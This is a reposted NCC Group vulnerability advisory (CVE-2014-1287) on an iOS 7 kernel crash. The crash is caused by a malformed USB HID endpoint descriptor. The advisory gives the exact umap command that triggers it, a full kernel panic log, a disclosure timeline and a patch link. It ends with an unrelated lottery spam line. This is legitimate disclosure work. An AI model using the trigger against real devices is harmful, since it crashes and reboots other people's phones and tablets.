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iOS 7 Arbitrary Code Execution
来源:nccgroup.com 作者:Davis 发布时间:2014-03-17  
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 Vulnerability Summary
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 Title             iOS 7 arbitrary code execution in kernel mode
 Release Date      14 March 2014
 Reference         NGS00596
 Discoverer        Andy Davis 
 Vendor            Apple
 Vendor Reference  600217059
 Systems Affected  iPhone 4 and later, iPod touch (5th generation) and later, 
                   iPad 2 and later
 CVE Reference     CVE-2014-1287
 Risk              High
 Status            Fixed

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 Resolution Timeline
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 Discovered        26 September 2013
 Reported          26 September 2013
 Released          26 September 2013
 Fixed             10 March 2014
 Published         14 March 2014

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 Vulnerability Description 
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 When a specific value is supplied in USB Endpoint descriptor for a HID device 
 the Apple device kernel panics and reboots

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 Technical Details
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 The bug can be triggered using umap (https://github.com/nccgroup/umap)
 as follows:

 sudo python3 ./umap.py -P /dev/ttyUSB0 -s 09:00:00:E:46

 bMaxPacketSize = 0xff

 Incident Identifier: F0856C91-7616-4DAC-9907-C504401D9951
 CrashReporter Key:   7ed804add6a0507b6a8ca9625f0bcd14abc6801b
 Hardware Model:      iPhone3,1
 Date/Time:           2013-09-26 12:35:46.892 +0100
 OS Version:          iOS 7.0 (11A465)

 panic(cpu 0 caller 0x882220a5): kernel abort type 4: fault_type=0x1, 
 fault_addr=0x28
 r0:   0x00000003  r1: 0x889e70bd  r2: 0x00000012  r3: 0xfffffffe
 r4:   0x9ae83000  r5: 0x00000003  r6: 0x00000000  r7: 0x87ff3d78
 r8:   0x00000000  r9: 0x00000000 r10: 0x00000000 r11: 0x00000001
 r12:  0x87ff3d50  sp: 0x87ff3d10  lr: 0x88af52bf  pc: 0x88af51f8
 cpsr: 0x80000033 fsr: 0x00000005 far: 0x00000028

 Debugger message: panic
 OS version: 11A465
 Kernel version: Darwin Kernel Version 14.0.0: Tue Aug 13 21:39:05 PDT 2013; 
 root:xnu-2423.1.73~3/RELEASE_ARM_S5L8930X
 iBoot version: iBoot-1940.1.75
 secure boot?: YES
 Paniclog version: 1
 Kernel slide:     0x0000000008200000
 Kernel text base: 0x88201000
 Epoch Time:        sec       usec
   Boot    : 0x52441b69 0x00000000
   Sleep   : 0x00000000 0x00000000
   Wake    : 0x00000000 0x00000000
   Calendar: 0x52441bb5 0x00056497

 Panicked task 0x896f8d48: 12856 pages, 114 threads: pid 0: kernel_task
 panicked thread: 0x8023de90, backtrace: 0x87ff3a48
		  lr: 0x88317889  fp: 0x87ff3a7c
		  lr: 0x883181f7  fp: 0x87ff3ab0
		  lr: 0x882b783b  fp: 0x87ff3ad4
		  lr: 0x882220a5  fp: 0x87ff3ba0
		  lr: 0x8821c7c4  fp: 0x87ff3d78
		  lr: 0x88af8687  fp: 0x87ff3da8
		  lr: 0x8828b5bd  fp: 0x87ff3dd0
		  lr: 0x889d6d29  fp: 0x87ff3df0
		  lr: 0x889da2f3  fp: 0x87ff3e18
		  lr: 0x8828b5bd  fp: 0x87ff3e40
		  lr: 0x889da14f  fp: 0x87ff3e7c
		  lr: 0x88acb8e7  fp: 0x87ff3eb8
		  lr: 0x88ac9815  fp: 0x87ff3ed4
		  lr: 0x884b24d3  fp: 0x87ff3f60
		  lr: 0x882cf869  fp: 0x87ff3fa8
		  lr: 0x8821f05c  fp: 0x00000000

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 Fix Information
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 A patch can be downloaded from the following location:
 http://support.apple.com/kb/HT1222
  
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 NCC Group
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 Research     https://www.nccgroup.com/research
 Twitter      https://www.twitter.com/NCCGroupInfoSec / @NCCGroupInfoSec
 Open Source  https://github.com/nccgroup
 Blog         https://www.nccgroup.com/en/blog/cyber-security/
 SlideShare   http://www.slideshare.net/NCC_Group/


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湖北11选5任选分布走势图一定牛